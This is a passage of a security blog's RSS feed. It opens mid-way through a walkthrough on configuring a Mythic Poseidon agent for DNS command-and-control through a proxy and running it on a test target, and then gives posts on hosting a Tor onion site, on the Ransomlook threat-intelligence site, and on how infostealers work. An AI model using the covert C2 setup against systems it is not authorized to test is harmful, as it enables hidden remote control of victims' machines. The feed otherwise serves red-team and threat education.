src="https://cdn-images-1.medium.com/max/659/1*WuKdzRlEPxX2WAdOEhVBvA.png" /></figure><p>In payload type, select the installed Poseidon agent and add DNS to the egress C2 profiles like the images show (HERE in red).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*VzTFgn1e-JZdIG4NoKODig.png" /></figure><p>Here, click on next because Poseidon has a set of commands included by default and does not allow dynamic command loading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*YF4t_dcqh0zK5-SjPd-1jA.png" /></figure><p>In profile configuration, choose DNS. I set the callback interval to 5 seconds and jitter to 2 just for testing to reduce the time between each request, which is good for testing. In IP:PORT, add your proxy server IP address and add the 53 port for DNS, for example, 142.251.34.14:53, this is to force agent to use proxy IP as resolver. In the series of domains to use, add your NSrecord. Note that you can use more domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MM_LhXj-UPaGoPCD5dLj6g.png" /></figure><p>Finally, set a name for the payload and build it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*HzlEhmroD_Oi4hFgFcMFEQ.png" /></figure><p>Now with the payload compiled as a <strong>Linux binary</strong>, transfer it to the target to test. In my case, I choose a <strong>Kali Linux VM</strong> with the network configured as a bridge adapter.</p><p><strong>I resume in one line the following commands:</strong></p><pre># rename binary<br>mv ./dns_test.bin<br># make binary executable<br>chmod +x ./dns_test<br># execute the binary<br>./dns_test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*goGy6eCgHLtUgPbYRmOQcA.png" /></figure><p>You can run <strong>Wireshark</strong> in the target to see the DNS traffic from the target to the C2 server; use this filter to exclude extra traffic.</p><pre>dns &amp;&amp; ip.dst == PROXY_IP</pre><p>The target will send petitions to C2 every 5 seconds with the jitter variation as the profile configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzbDbozZ7aui_FMn337DMg.png" /></figure><p>If all is OK, <strong>Mythic</strong> will receive the callback connection, and <strong>Wireshark</strong> will show the traffic as the image from above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzQ4HjmgOujk4_leZipaww.png" /></figure><p>With the callback working we can create task for the target, when the target send a DNS request It recibe the task from C2 server, target execute the task and return the result back to command and control server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*3MUsB_54dUufpDz8SNYnkA.png" /></figure><p>With this configuration you can deploy a C2 server using DNS protocol to communicate with the targets; just fit the steps of agent configuration for your command and control server in case you need it for Windows targets or use it in other C2 servers like <strong>Sliver or Havoc</strong>. This redirection method with the DNS proxy is very similar to using an HTTPS redirector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TI9W1qctqag0QBgK249CGQ.png" /></figure><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><p>Know the threat.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1a3f2cf4944" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to setup a darkweb site]]></title>
            <link>https://medium.com/@0z4i/how-to-setup-a-darkweb-site-d4d13a2afed4?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4d13a2afed4</guid>
            <category><![CDATA[sysadmin]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[darkweb]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Fri, 18 Jul 2025 17:01:50 GMT</pubDate>
            <atom:updated>2025-07-18T17:01:50.304Z</atom:updated>
            <content:encoded><![CDATA[<p>We may join forums and markets on the dark web, most of which are onion sites. But who made these sites? Well here I’ll explain how configure a common web server to run a hidden service on TOR</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*dpve6OUqdpn3GL0S" /></figure><p>First of all, a brief mention of What is TOR?</p><p>The Onion Routing (TOR) is an encrypted and multilayered connection; it provides privacy against ISPs and eavesdroppers that sniff out internet traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*r2wKDx0AhmK0DpnC0AkX8g.png" /><figcaption>Image from <a href="https://support.torproject.org/https/">TOR docs</a></figcaption></figure><p>In the TOR network we can provide a hidden service. This is a web service only accessed over TOR and provides the HTTPS security with TOR privacy:</p><ul><li>Hide our real location.</li><li>Use an end-to-end authentication, avoiding a rerouting of the connection source (location).</li><li>End-to-end encryption</li><li>NAT punching: it can bypass local network measures like firewalls that block our connections because TOR services do not require an open port to connect us.</li></ul><p>These hidden services can be a blog, forum, market, or just be used to host our personal web for free. Yes, host an onion site — it’s free. We don’t need a domain or public IP because onion sites don’t need an IP, just an onion address like this one: <strong>ciadotgov4sjwlzihbbgxnqg3xiyrg7so2r2o3lt5wz5ypk4sxyjstad.onion</strong>, for example, this is the <a href="https://www.cia.gov/stories/story/cias-latest-layer-an-onion-site/">CIA</a> hidden service URL.</p><h4>How we set up the hidden service?</h4><blockquote><strong>NOTE:</strong> All of the steps were done on a VPS that had Debian and a nginx web server already set up.</blockquote><p>As all service installation, first we need to update repositories and install dependencies</p><pre>sudo apt update<br>sudo apt install apt-transport-https<br>sudo apt install gnupg</pre><p>Beacuse I use a debian system it;s needed to add the repository to my machine sources, to do that, create a file in the source list for Tor at this route: /etc/apt/sources.list.d/tor.list and add the follow line to the new tor.list file</p><pre>deb     [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org &lt;DISTRIBUTION&gt; main<br>deb-src [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org &lt;DISTRIBUTION&gt; main</pre><p>In the tor.list content there is a &lt;DISTRIBUTION&gt; it should be replaced with our distribution code name to get it to run the following command.</p><pre>lsb_release -c</pre><pre>#It shows something like this</pre><pre>Codename: jammy</pre><p>Then in my case jammy is my &lt;DISTRIBUTION&gt; value</p><p>Add the <strong>gpg key </strong>for the tor packages:</p><pre>sudo wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | tee /usr/share/keyrings/deb.torproject.org-keyring.gpg &gt;/dev/null</pre><p>To apply the changes, just update the apt repositories.</p><pre>sudo apt update</pre><p>We can install TOR service now</p><pre>sudo apt install tor deb.torproject.org-keyring</pre><p>With the TOR service installed, we can check their status by running the following command:</p><pre>sudo systemctl status tor</pre><pre># If all is OK, the result should contain this.<br># Active: active</pre><p>If the service is running ok, then edit the TOR config file in path /etc/tor/torrc</p><pre>HiddenServiceDir /var/lib/tor/&lt;site_name&gt;/<br>HiddenServicePort 80 unix:/var/lib/tor/&lt;site_name&gt;/onion.sock</pre><blockquote><strong>NOTE: </strong>From now on, every time <em>&lt;site_name&gt;</em> is shown, it will be the same as the name you give your onion site’s directory, so change it</blockquote><p>The file’s last line, HiddenServicePort 80 unix:/var/lib/tor/&lt;site_name&gt;/onion.socks means that we use UNIX sockets to connect instead of the raw 80 TCP port. It provides us more security because only the service or users with the right permissions can connect to a socket, preventing information leaks in the local network.</p><p>To apply the TOR config changes, run</p><pre>sudo systemctl restart tor</pre><p>We need our onion <strong>hostname</strong> because this is the address to access the site. To get it, do the following:</p><pre>cat /var/lib/tor/&lt;site_name&gt;/hostname<br><br># The result should show a URL like this.<br># zupnrpreqdsf66eemz3rfbkuskiv4kll2xgwhnrekgmnc4aiuguse4rcqd.onion</pre><p>Now, to configure the access, a <strong>web server</strong> is needed. I use <strong>nginx</strong>, but it is possible to do it with an Apache server, a PHP server, and also with the web server provided with python -m http.server , If you don’t have a web server, you can install nginx following the instructions here: <a href="https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/">nginx installation</a></p><blockquote>Prepare a basic index file to test your site. For that, I use the route /var/www/html/index.html</blockquote><p>To configure the nginx server, create the following file in this path: /etc/nginx/sites-enabled/onion-site.conf</p><pre>server {<br> listen unix:/var/lib/tor/test/onion.sock;<br> server_name &lt;onion_address&gt;;<br> error_log /var/log/nginx/test-error.log;<br> access_log /var/log/nginx/test.log;<br> index index.html;<br> root /var/www/html; <br>}</pre><blockquote><strong>NOTE: </strong>replace &lt;onion_address&gt; with the hostname of your onion site</blockquote><p>Before applying changes, verify the <strong>nginx syntax</strong> with</p><pre>sudo nginx -t</pre><p>If the command result shows test is successful, apply the changes with</p><pre>sudo systemctl restart nginx</pre><p>After the restart, nginx creates the Unix socket, but it has a permissions set that can produce connection problems, for example, an httpsredirection when we visit the <strong>onion address</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*-ij8tXZwp9pCFoajAFEhvQ.png" /><figcaption>Example of tor connection error</figcaption></figure><p>Sockets require the correct permission to work; you can check the socket permission with</p><pre>ls -ld /var/lib/tor/&lt;site_name&gt;<br># Maybe it shows the permissions:<br># rw-rw-rw- | 666<br># and the ownership:<br># root debian-tor</pre><p>To connect, we need the following permissions and ownership.</p><ul><li>660 = rw-rw----</li><li>debian-tor debian-tor</li></ul><blockquote><strong>NOTE: </strong>debian-tor is the user for the TOR service.</blockquote><p>To change permissions and ownership, do this:</p><pre>sudo chown debian-tor:debian-tor /var/lib/tor/&lt;site_name&gt;/onion.sock  <br>sudo chmod 660 /var/lib/tor/&lt;site_name&gt;/onion.sock</pre><p>Now the permissions and ownership are:</p><ul><li>660 = rw-rw----</li><li>debian-tor debian-tor</li></ul><p>But if nginx is restarted, the permissions and ownership will revert. To solve this, add the following config to the nginx service. You can run this command directly:</p><pre>sudo mkdir -p /etc/systemd/system/nginx.service.d<br>sudo tee /etc/systemd/system/nginx.service.d/override.conf &gt; /dev/null &lt;&lt;&#39;EOF&#39;<br>[Service]<br>ExecStartPost=/bin/chown debian-tor:debian-tor /var/lib/tor/&lt;site_name&gt;/onion.sock<br>ExecStartPost=/bin/chmod 660 /var/lib/tor/&lt;site_name&gt;/onion.sock<br>EOF</pre><blockquote><strong>NOTE:</strong> remember replace &lt;site_name&gt;</blockquote><p>Apply the changes:</p><pre>sudo systemctl daemon-reload<br>sudo systemctl restart nginx</pre><p>Now try to connect to the onion address; it should work.</p><p>Here is an optional step: the default onion addresses are generated by the <strong>TOR service</strong>, but if you want to have a custom (vanity) address, follow the next steps.</p><p>To do that, I use the tool <strong>mkp224o</strong>. It generates onion addresses with brute force. To clone and set up the tool, follow these steps:</p><pre># Maybe you need to install these dependencies<br><br>sudo apt install gcc libc6-dev libsodium-dev make autoconf</pre><pre>git clone https://github.com/cathugger/mkp224o.git<br>cd mkp224o<br>./autogen.sh<br>./configure<br>make</pre><p>Now, to generate the custom address, first create a directory ~/tmp to save the onion address extracted data and then run the tool. Replace &lt;address_name&gt; with words that you want to have in your custom address, but more complex words require more time because it’s a brute force process.</p><pre>./mkp224o &lt;address_name&gt; -d ~/tmp/ -t $(nproc)</pre><blockquote>-t $(nproc) is for using all the threads of the CPU in the brute force</blockquote><p>For example, if we choose test as &lt;address_name&gt; , the result can show something like this:<strong> testz7v7tffyftby37pnoqwwyifn4x5zkjfkxpq6uyq7fds2ujyqd.onion</strong></p><blockquote><strong>NOTE: </strong>You can delete the onion site created above with sudo rm -r or just rename it with sudo mv , do this before the next step.</blockquote><p>In the directory used for the extracted data, a subdirectory will be created with the needed data, like keys for this address. Then copy the new address directory to our onion site directory.</p><pre>sudo copy -r ~/tmp/testz7v7tffyftby37pnoqwwyifn4x5zkjfkxpq6uyq7fds2ujyqd.onion /var/var/lib/tor/&lt;site_name&gt;</pre><p>Now with the data copied, we need to change the directory permissions and ownership.</p><pre># change all directory&#39;s files permissions<br>sudo chmod 600 /var/lib/tor/&lt;site_name&gt;/*<br># change directory permissions<br>sudo chmod 700 /var/lib/tor/&lt;site_name&gt;/</pre><p>If the command above generates a failure, try this.</p><pre># change to root user<br>sudo su<br><br># change permissions<br>chmod 600 /var/lib/tor/&lt;site_name&gt;/*</pre><p>Change directory and file ownership.</p><pre>sudo chown -R debian-tor:debian-tor /var/lib/tor/&lt;site_name&gt;</pre><p>Now in our nginx config file /etc/nginx/sites-enabled/onion-site.conf , change this line.</p><pre>&lt;...&gt;<br>server_name &lt;vanity_address&gt;;<br>&lt;...&gt;</pre><blockquote>NOTE: &lt;vanity_address&gt; is the new generated address; replace it.</blockquote><p>Now restart <strong>nginx</strong> to create the Unix socket.</p><pre>sudo systemctl restart nginx</pre><p>With our previous Nginx service config, now the Unix socket is created with the correct permissions and ownership, and finally, to apply the change, restart TOR.</p><pre>sudo systemctl restart tor</pre><p>Now you can try to connect with your new vanity address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45EDKPwB0A_DxUOgKfX-ag.png" /></figure><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><blockquote><em>Know the threat.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4d13a2afed4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ransomlook: a site to get dark sources]]></title>
            <link>https://medium.com/@0z4i/ransomlook-a-site-to-get-dark-sources-85b93fbd43cc?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/85b93fbd43cc</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cyber-intelligence]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[darkweb]]></category>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Wed, 09 Jul 2025 16:01:45 GMT</pubDate>
            <atom:updated>2025-07-09T20:29:47.809Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSrQL4rPHwtwQQVXI_hNqw.png" /><figcaption><a href="https://www.ransomlook.io/">Ransomlook</a> home page</figcaption></figure><p>Finding access links to malicious actors and the environments in which they operate — such as forums, marketplaces, groups, and cybercrime groups — as well as mirrors in case any of them go offline is crucial when tracking, monitoring, or looking into these frequently illegal activities.</p><p>Platforms like <a href="https://www.ransomlook.io/">RansomLook</a> can be used to find this information and track the activities of numerous cybercriminal organizations, particularly those that specialize in ransomware. With the help of these platforms, you can passively look up their general information without interacting with the target directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8baNOnwRvud_TtugnRy5hA.png" /><figcaption>Ransomwatch site</figcaption></figure><p>Ransomlook is based on the Ransomwatch platform, which allows users to view the current status of ransomware groups’ websites as well as a group profile and posts about the victims who have been attacked. However, in the case of Ransomlook, additional features that will be added in the future have been added, making this a more comprehensive platform with information that is very helpful for investigations.</p><p>The first page shows a dashboard with indicators of the informational activities of the website, such as the number of entities tracked, including groups, markets, forums, and the number of posts made by victims in those groups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8GHoJXNawygyK_Mo0xlNw.png" /></figure><p>The first section displayed on ransomlook focuses on the most recent posts made by cybercrime groups, each of which details a new victim of a ransomware group. These posts include the victim’s name, creation date, and title, as well as a link to the group profile that carried out the attack. This section is very helpful for tracking down targeted companies in the event that investigators are looking into the matter, and it also grants direct access to the media. Typically, in ransomware cases, recent publications do not contain complete leaks if there isn’t a contador with the number of days until the payment deadline for the recovery After this, it is possible to find the leaked information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3HJq80mFxXs7z3tl_icenQ.png" /></figure><p>The status section shows if a site is online or offline. This information is very useful because the activities performed by these sites and the data that they publish cause law enforcement agencies to take them offline. Also, there are direct links to the group site to get access, reducing search time. Many of these sites are running over the TOR network (onion sites), but they are on the clearnet. With this data, it is possible to relate the existence of law operations or attacks against cybercrime groups to the current status (online/offline).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LeKt5JMAkiEiEqbqUyJtZg.png" /></figure><p>It’s possible to get access to specific information about a group, for example, PGP keys used to encrypt messages and contact methods like Telegram usernames and TOX IDs. These are used so victims can contact the attackers and deal with the information. rescue payment, and also the group profile has URLs to the sites where groups publish victims and data leaks, file links (also leaks), and mirrors of their own sites, useful when some of them are taken down, like others ransomlook sections. Here is a screenshot of the last website status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d--mqxb7C2HN01TMsDDLtw.png" /><figcaption>DragonForce ransom group site</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*VjW1pYhBq3oTasa8lfE28w.png" /><figcaption>Other example of ransom group site</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSxBfzvzcgSh9p7PAGjQWg.png" /></figure><p>As well as other criminals, cybercrime groups have their own signatures and, similar to a cover letter, put notes in the victim’s device to notify them that they are under attack. These texts have contact methods to talk with the attacker, the ransom price, and the payment deadline. This section has a lot of notes from many ransom groups, which are effective for identifying the group from a note. Each group has a particular wording; some are mocking the victim or their sysadmins, or mentioning that the attack is an “unscheduled forced audit.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*BzMB9rFtXkyFLWIABLXWrA.png" /><figcaption>Akira ransom group note</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdxrcrWVw5_i8aOpOwS79A.png" /></figure><p>Forums and markets are good sources for gathering information, and this section shows direct URLs to access them and their status (online/offline). As mentioned above, a lot of these sites are onion sites, although the links are public. Some platforms require an invitation or join, but most of them are free and public. If a link is down, it is also possible to get an alternative URL if a site is down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lL7YkU2TTucUlmfykdR42w.jpeg" /><figcaption>cybercriminal services ad</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7QhmRBBX9PCWfmwPiBhkA.png" /></figure><p>The Leaks section allows you to search by victim; each post here has the victim’s name as the title, the number of leaked records (rows), and the attack date. Also, it has specific information for each one, for example, the fields in the rows (username, passwords, etc.). If a leak exists, it’s possible to get a URL to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvrtJH0SJTYtcIwhkQFVCQ.png" /><figcaption>A sample of a leak information</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vH_2NeUkz5m5CNkr-bm5lw.png" /></figure><p>Not only websites are information sources; today Telegram has a lot of groups, channels, and bots. Some of them work as forums or market sites; others are useful to find leaks or purchase malware. In the case of Telegram bots, they can be used as OSINT to investigate targets (people) but also search about Telegram entities (groups, channels, bots, and users). Here are screenshots of the status similar to group sites, and obviously the link to access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*zDD7wAtf_Ssche8-V9jQgg.png" /><figcaption>Telegram bot that sells malware</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oGSL-UhfyhfwL982O45COw.png" /></figure><p>In ransomware chain attacks, one of the most important phases is the ransom payment, so there must be a payment method. The most common are cryptocurrencies. The attacker provides a wallet address to the victim to receive the payment, but the blockchain records are public, and if you have an address, it’s possible to track the wallet or their transactions and know the balance. With this, some cybercriminals have been deanonymized and trapped by the law. This section shows known crypto addresses and transaction IDs. This is information that can be used to investigate different addresses to determine if different addresses belong to the same groups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gs-twqpwgUKC1rrK7OTjXA.png" /><figcaption>Example of a cybercrime group wallet tracked</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZXSC71xl4QMfdg0e5WOCA.png" /></figure><p>Finally, the stats section has data about the information in the ransomlook site as graphics to consult the groups post frequency, the most active ones, victim numbers for groups, and other stats. With the data, you can know when a group was seized because of a downturn in their activities or a decrease when a law enforcement operation is active against these groups.</p><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><blockquote>know the threat</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85b93fbd43cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[EN] Stealers]]></title>
            <link>https://medium.com/@0z4i/en-stealers-9063d4efc45f?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/9063d4efc45f</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[darkweb]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Fri, 27 Jun 2025 16:01:54 GMT</pubDate>
            <atom:updated>2025-07-09T20:30:34.194Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kHs8WrG_viHVqL60.png" /></figure><p>Stealers, or infostealers, are a malware type specialized in stealing data from infected devices. The data can be credential access, banking data, and, in specific cases, crypto wallet information (crypto stealers). Collecting data techniques are various, such as process injection in legitimate applications, for example, hooking web explorers to get codes of MFA extensions, and also implementing keylogging software.</p><p>Data exfiltration from a victim device is done through communication with C2 (command &amp; control) servers, which are used to control the malware, payload downloading, and communication channels and techniques are implemented by concealing the activities of such communications through common protocols such as HTTP/HTTPS. With HTTPS, it’s possible to take advantage of SSL encryption. These communications may also use OPSEC measures such as dead droppers resolvers in popular social networks to hide their infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BKRNgv485wStPEBxNvbPUg.png" /></figure><p>But in order to accomplish the execution chain is needed deliver malware in the target’s device this can be done in several ways depending on the target (Recon), for example phishing campaigns like emails with attachments containing malware or any other way that suits the victim.</p><h4>First appearances</h4><p>The stealers use is not new; there are records of them since 2006, such as the ZeuS malware focused on stealing banking data. ZeuS had a leak of its source code, so it caused an increase in popularity in the use and creation of more of its type. Around the same time, in 2008, a stealer called Koobface attacked social networks and email providers users to obtain credentials for services such as Facebook and Gmail.</p><h4>Distribution</h4><p>In the early days, the use of malware was more limited to who could develop it or the cybercrime groups with developers, but now there is a scheme that allows to increase its distribution globally as well as make easier the use for non experimented users, very similar to having plug and play products right out of the store.</p><p>The business model is known as Malware as a Service (MaaS), In this one a developer creates the malware, for example a stealer and offers it for sale which can be selling a builder, a subscription to control panels or C2 servers, in wich the use of web interfaces is very common.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Ap1LpG5arDQYZenG.png" /><figcaption>RedLine Stealer Control Panel</figcaption></figure><p>But there are not only lone developers selling their product, It’s increasingly common for cybercriminal groups to operate as technology companies, where each member has a specific role such as developer, sales, malware operator, support, as well as having their own Research and Development teams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/0*5vI8Z2Syx4U5ute9.png" /><figcaption>LockBit Affiliate program banner</figcaption></figure><p>Sometimes MaaS models have affiliate programs where groups or individuals who join can be resellers of the malware or give a percentage of the money they get in their attacks to victims; this is common in ransomware groups such as LockBit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/0*3yHsBln7b4SExUW1.png" /><figcaption>Bot selling malware on telegram</figcaption></figure><p>The ways by sales are made changes, as do the methods of payment. Some criminals have websites where they promote their “product” or boast their attacks by showing the functionality of the malware. There are also distributors on dakweb forums, a very common activity on Russian-speaking forums.</p><p>It’s currently possible to purchase malware in Telegram groups, channels, and bots; these last reduce the buyer-seller interaction by automating the sales process, and they also protect the attacker’s infrastructure.</p><p>The payment method varies depending on the group or channel, but the use of cryptocurrencies is very common because of the anonymity they can offer. Sometimes they accept wire transfers or other unconventional methods like Telegram, where it is possible to pay with the token Telegram Stars.</p><h4>Delivery</h4><p>Infecting a device is the starting point of the chain attack. This is known as initial access, and their methods are different. Since the most appropriate method should be used according to the victim, they can be through emails in massive phishing campaigns or using spear phishing to single target. The emails can contain attachments with malicious payloads or a link that redirects to a site to download the malware files, and since it’s possible to identify URLs categorized as malicious that can alert the user or some security systems, some attackers use CDN services such as Google Drive or Discord to host malicious files.</p><p>Cracked software can be used to deliver malware; for example, KMSPico. There are cases where malicious payloads are in GitHub repositories, like the case of the Hamster Kombat bot farm that was used to execute malware.</p><p>There are widely used techniques like ClickFix that seek to cheat a user into executing some command or malicious script on their own device. In Windows computers, it is very common to use this technique with PowerShell. The way to convince the user ranges from creating a fake captcha with instructions to copy and execute the code locally as a verification method or convincing the user to install a Chrome extension to “read” an online document. Although this is more common in Windows, some attackers are starting to use it on Mac OS systems.</p><h4>Data Stealing</h4><p>Once access has been obtained to the target’s device, the stealer starts an internal recon process and collects system information from the victim, such as credential access to crypto wallets, email accounts, social networks, or access to other systems that can be used to deliver malware as a pivot point.</p><p>About internal recon, the stelaer can get system data, for example, versions of OS, drivers, kernel, etc. This may not appear to be, but it is really useful for attackers.</p><p>Some stealers are hooked into web explorers to gather information related to extensions like MFA because some of these can be restored on another device with an export code.</p><p>Collection and exfiltration ways can change between stealer families. In a recent case with Lumma stealer, the use of custom paths like %USERPROFILE%\AppData\Roaming was detected to store stolen data ready to be exfiltrated. Sometimes the data is compressed in zip files to send to the attacker.</p><p>The most serious consequence is possibly identity theft or the fact that the credentials can be used to access other systems and use them to spread the malware.</p><h4>Exfiltration and C2 communication</h4><p>Stealers need a communication channel with the C2 server both for receiving orders to perform tasks in the infected device and exfiltrating the data; the communication techniques may vary depending on the malware family and C2.</p><p>One of the most common communication techniques is the use of protocols like HTTP/HTTPS, as it’s a very common protocol in most used applications and does not usually raise alerts. Also, with HTTPS, you can take advantage of SSL encryption to protect the communication.</p><p>With malware analysis and security assessments, it’s possible to find a direct C2 endpoint, and as this is dangerous for the attacker’s infrastructure, methods are used to hide the endpoint behind web pages that pretend to be something else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*ugTUEvceBXxO_x-5JTAvgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*i2Ik1DyvGmZn7gT-u8HQWA.png" /><figcaption>Vidar stealer dead drops resolvers: <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-vidar-2c0a62a73087">https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-vidar-2c0a62a73087</a></figcaption></figure><p>The use of dead drop resolvers is widely used; this technique is based on secret agents exchanging information through hidden locations, but in the malware context, it is done through social network profiles like X posts and YouTube comments, and the attacker just needs to post the C2 endpoint in plain text or encoded (e.g., base64) to hide the real endpoint. It is not the only advantage; they can also change the URL dynamically.</p><p>Some attackers often upload the malware payloads in CDN services of common platforms like Discord because these CDN URLs have a good category in the analysis tools, so they bypass malicious detections.</p><h4>Data Explotation</h4><p>The simple fact of exfiltrating information would be useless if the data were not exploited; the exploitation ways change according to the objectives of the attacker; data can be monetized or used for future attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hY4r-x-FyoX45g08.png" /><figcaption>Selling ULP in cybercrime forum</figcaption></figure><p>If monetization is the way, it could be selling the collected data in raw form to the MaaS subscribers. It’s similar to havingaccess to sensitive information that is updated on an ongoing basis. Some attackers make compilations of stolen data to sell on dark web forums as the popular ULP files. They have leaked credentials with the format &lt;user&gt;:&lt;login&gt;:&lt;password&gt; user, ULP files are useful to gain access to other user accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*QN4PMz26E-BTh7rT.png" /></figure><p>As well, in distribution, it is very common to find data from stealers that are selling on sites like Telegram. There are normally those who do the sales and offer free samples as proof. It is possible to find compilations of infected devices that are not lists of credentials but folders segmented by countries and devices in which there is information about the system, credentials, keyloggers, session cookies, etc.</p><p>Both the data purchased and the data obtained during stealer attacks are a good starting point for a cybercriminal to perform an attack. With this data, they can gain access to user accounts, remote servers, or infrastructure that can be used to propagate the stealers in the network. In some cases, this has been used to perform ransomware attacks from a stealer, for example, in big companies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*IQsifsrjPvPiubHO.png" /></figure><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><p>know the threat</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9063d4efc45f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>